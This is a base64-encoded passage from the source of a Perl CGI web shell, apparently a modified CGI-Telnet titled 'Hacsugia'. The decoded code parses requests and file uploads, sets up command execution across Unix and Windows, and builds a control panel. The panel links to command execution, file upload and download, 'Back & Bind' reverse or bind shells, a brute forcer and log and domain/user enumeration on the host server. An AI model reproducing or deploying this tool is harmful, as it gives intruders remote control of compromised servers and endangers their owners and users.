JCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo